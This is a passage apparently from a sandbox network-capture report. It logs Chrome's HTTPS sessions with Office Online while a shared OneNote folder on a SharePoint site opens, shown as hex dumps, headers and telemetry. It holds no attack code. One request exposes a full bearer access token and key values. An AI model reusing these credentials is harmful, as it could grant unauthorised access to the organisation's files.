Data Ascii: 48d1-9b10-6a5675401df6}{139},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{150},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{194},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{197},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{202},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{217}"]},{"C
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 31 37 37 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 35 32 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7c 31 37 34 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 31 33 34 32 32 35 30 34 31 2c 22 74 72 75 65 22 2c 32 30 31 33 33 33 37 36 33 2c 22 31 22 2c 34 36 39 37 36 39 32 33 34 2c 22 30 2e 35 2c 30 2c 30 2e 37 35 2c 30 2e 37 35 22 2c 36 30 33 39 38 36 39 37 36 2c 22 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 31 37 35 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 32 39 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d Data Ascii: 177}"]},{"ClassId":393252,"ObjectId":"1c9201fa-b65f-48d1-9b10-6a5675401df6\|174","Properties":[134225041,"true",201333763,"1",469769234,"0.5,0,0.75,0.75",603986976,"{1c9201fa-b65f-48d1-9b10-6a5675401df6}{175}"]},{"ClassId":393229,"ObjectId":"1c9201fa-b65f-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49774	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:14 UTC	594	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:14 UTC	4304	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6475371d-6d06-49fd-8a97-5678863d8625 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5D X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 6EF9D2073AEC4979991168C3F50F5B55 Ref B: MIA301000101023 Ref C: 2024-04-26T07:59:14Z Date: Fri, 26 Apr 2024 07:59:14 GMT Connection: close
2024-04-26 07:59:14 UTC	1077	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int
2024-04-26 07:59:14 UTC	131	IN	Data Raw: 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2c 20 61 6e 64 20 69 74 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: s a problem with the resource you are looking for, and it cannot be displayed.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49775	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:15 UTC	2562	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":2,"MsSinceStart":3142,"Value":"Get cells response received:200","Type":"BootLogs"},{"Index":3,"MsSinceStart":3142,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:15 UTC	1609	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: bca2a116-3ca6-4654-b349-f8297fe3f880 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD62 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5b&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD62 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EAA554F85D0048A4AEA82000AC8789AA Ref B: MIA301000103053 Ref C: 2024-04-26T07:59:15Z Date: Fri, 26 Apr 2024 07:59:15 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49777	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:18 UTC	2675	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":3,"MsSinceStart":3150,"Value":"Launching FastView from entry point WacBootGetCells","Type":"BootLogs"},{"Index":4,"MsSinceStart":3153,"Value":"RecordContentDisplayed","Type":"BootPhaseCompleted"},{"Index":5,"MsSinceStart":5358,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:18 UTC	1582	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 554c960d-62af-4035-8a66-159075732e21 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD62 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5c&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD62 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 4CC14A2D7A85497DB50DD1BE88ED3946 Ref B: MIA301000106029 Ref C: 2024-04-26T07:59:18Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49781	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:18 UTC	3555	OUT	POST /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: false X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:19 UTC	1067	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e6e9972f-82fe-462e-b458-bd7014c7e418 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD62 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD62 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 1C4364AFF35C425DA49A721D914869E8 Ref B: MIA301000104023 Ref C: 2024-04-26T07:59:18Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close
2024-04-26 07:59:19 UTC	195	IN	Data Raw: 62 64 0d 0a 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 36 30 2c 7b 22 69 73 45 64 75 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 54 65 61 63 68 65 72 22 3a 66 61 6c 73 65 2c 22 69 73 53 74 75 64 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 33 36 35 53 75 62 73 63 72 69 62 65 72 22 3a 66 61 6c 73 65 2c 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 7d 5d 5d 7d 0d 0a Data Ascii: bd{"Responses":[[60,{"isEducation":false,"isTeacher":false,"isStudent":false,"isO365Subscriber":false,"OperationId":0,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":""}]]}
2024-04-26 07:59:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49785	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:18 UTC	511	OUT	GET /o/OneNote.ashx HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:18 UTC	1043	IN	HTTP/1.1 503 Service Unavailable Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 0bba1ea8-378f-4304-aef2-02094beb4d0b X-UserSessionId: 0bba1ea8-378f-4304-aef2-02094beb4d0b Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BN3PEPF00001F6E X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00001F6E X-WacFrontEnd: BN3PEPF00001F6E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest 